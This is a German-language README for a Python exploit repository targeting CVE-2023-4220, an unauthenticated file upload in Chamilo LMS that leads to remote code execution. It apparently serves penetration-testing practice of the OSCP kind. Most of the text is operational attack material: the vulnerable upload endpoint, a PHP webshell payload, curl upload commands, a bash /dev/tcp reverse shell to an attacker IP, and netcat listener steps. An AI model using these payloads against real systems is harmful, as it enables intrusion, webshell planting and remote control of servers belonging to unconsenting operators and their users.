
CVE-2023-4220 — Unauthenticated Datei-Upload RCE in Chamilo LMS ≤ 1.11.24. OSCP-Stil und Auto-Exploit.
Python-Exploit für CVE-2023-4220, eine nicht authentifizierte Schwachstelle zum Hochladen beliebiger Dateien, die Chamilo LMS <= 1.11.24 betrifft.
Die Schwachstelle befindet sich in Chamilo's BigUpload-Komponente. Bei verwundbaren Installationen erlaubt der Upload-Handler das Hochladen einer PHP-Datei ohne ordnungsgemäße Validierung. Da hochgeladene Dateien in einem über das Web zugänglichen Verzeichnis gespeichert werden, kann die hochgeladene PHP-Datei direkt aufgerufen und als Webshell verwendet werden, sofern PHP-Ausführung aktiviert ist.
Dieses Repository enthält zwei Versionen des Exploits:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
Beide Skripte laden eine PHP-Webshell hoch, überprüfen die Befehlsausführung und ermöglichen die Ausführung von Befehlen über den GET-Parameter cmd. Der einzige praktische Unterschied liegt im Umgang mit --shell.
Die auto-Version startet einen eigenen Listener, löst die Reverse-Shell aus und wechselt automatisch in eine interaktive Sitzung.
Die oscp-Version löst das Reverse-Shell-Payload aus, startet jedoch keinen Listener. Sie müssen Ihren Listener vor der Ausführung manuell starten.
Klonen Sie das Repository:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
Installieren Sie die Abhängigkeiten:
python3 -m pip install -r requirements.txt
Die einzige externe Abhängigkeit ist requests, daher kann sie auch manuell installiert werden:
python3 -m pip install requests
Das Ziel wird mit -u oder --url angegeben:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
Die gleichen Optionen sind in beiden Skripten verfügbar:
-u, --url Ziel-Basis-URL
--check Prüfen, ob das BigUpload-Dateiverzeichnis erreichbar ist
--upload Webshell hochladen und Befehlsausführung bestätigen
--cmd CMD Einzelnen Befehl über die hochgeladene Webshell ausführen
--shell LHOST LPORT Reverse-Shell auslösen
--filename NAME Benutzerdefinierten Dateinamen für die hochgeladene PHP-Datei verwenden
--proxy PROXY Traffic über einen Proxy senden, z. B. Burp Suite
--timeout SECONDS HTTP-Timeout setzen
--verify-tls TLS-Zertifikatsprüfung aktivieren
--cleanup Versuchen, die hochgeladene Webshell nach der Ausführung zu entfernen
Die automatische Version enthält außerdem:
--listen-timeout SEC Zeit, die auf die Reverse-Shell-Verbindung gewartet werden soll
Prüfen, ob der erwartete BigUpload-Pfad erreichbar ist:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
PHP-Webshell hochladen und Befehlsausführung bestätigen:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
Einen einzelnen Befehl ausführen:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
Benutzerdefinierten Dateinamen verwenden:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Traffic durch Burp Suite senden:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
Die obigen Beispiele verwenden das auto-Skript, aber die gleiche Syntax kann mit chamilo_cve_2023_4220_oscp.py verwendet werden.
Die Option --shell ist in beiden Skripten vorhanden, verhält sich jedoch je nach verwendeter Version unterschiedlich.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
Diese Version startet einen lokalen Listener auf 10.10.14.3:4444, lädt die Webshell hoch, löst die Reverse-Shell aus und öffnet die interaktive Sitzung automatisch.
Sie müssen nc bei dieser Version nicht manuell ausführen.
Starten Sie zuerst Ihren Listener manuell:
sudo nc -nlvp 4444
Führen Sie dann den Exploit von einem anderen Terminal aus:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
Diese Version sendet nur das Reverse-Shell-Payload über die hochgeladene Webshell. Die Verbindung wird von Ihrem manuell gestarteten Listener empfangen.
Der von beiden Skripten ausgelöste Reverse-Shell-Befehl entspricht:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
Stellen Sie sicher, dass der LHOST-Wert vom Ziel aus erreichbar ist. In VPN-Umgebungen ist dies normalerweise Ihre Tunnel-Schnittstellenadresse:
ip -brief addr show tun0
CVE-2023-4220 betrifft Chamilo LMS-Versionen bis einschließlich 1.11.24.
Der verwundbare Upload-Handler befindet sich unter:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
Die Aktion, die vom Exploit ausgenutzt wird, ist:
?action=post-unsupported
Hochgeladene Dateien sind üblicherweise erreichbar unter:
/main/inc/lib/javascript/bigupload/files/
Der Exploit sendet eine multipart/form-data-POST-Anfrage unter Verwendung des von BigUpload erwarteten Formularfeldes:
bigUploadFile
Das hochgeladene PHP-Payload ist ein kleiner Befehlswrapper:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
Befehle werden über den GET-Parameter cmd übergeben:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
Die Markierungen um die Befehlsausgabe werden verwendet, um den relevanten Teil der HTTP-Antwort zu extrahieren.
Der von den Skripten durchgeführte Upload entspricht:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
Nach einem erfolgreichen Upload kann die Befehlsausführung getestet werden mit:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check überprüft nur, ob das erwartete BigUpload-Dateiverzeichnis erreichbar ist. Ein positives Ergebnis garantiert nicht, dass das Ziel ausnutzbar ist.
Eine vollständige Validierung erfordert das Hochladen des PHP-Payloads und das Bestätigen der Befehlsausführung mit --upload oder --cmd.
Wenn der Upload funktioniert, die Befehlsausführung jedoch fehlschlägt, könnte die PHP-Ausführung im Upload-Verzeichnis deaktiviert sein, das Ziel könnte gepatcht sein oder eine serverseitige Regel blockiert die Anfrage.
Verwenden Sie --cleanup, wenn das Skript versuchen soll, die hochgeladene PHP-Datei nach der Ausführung zu entfernen.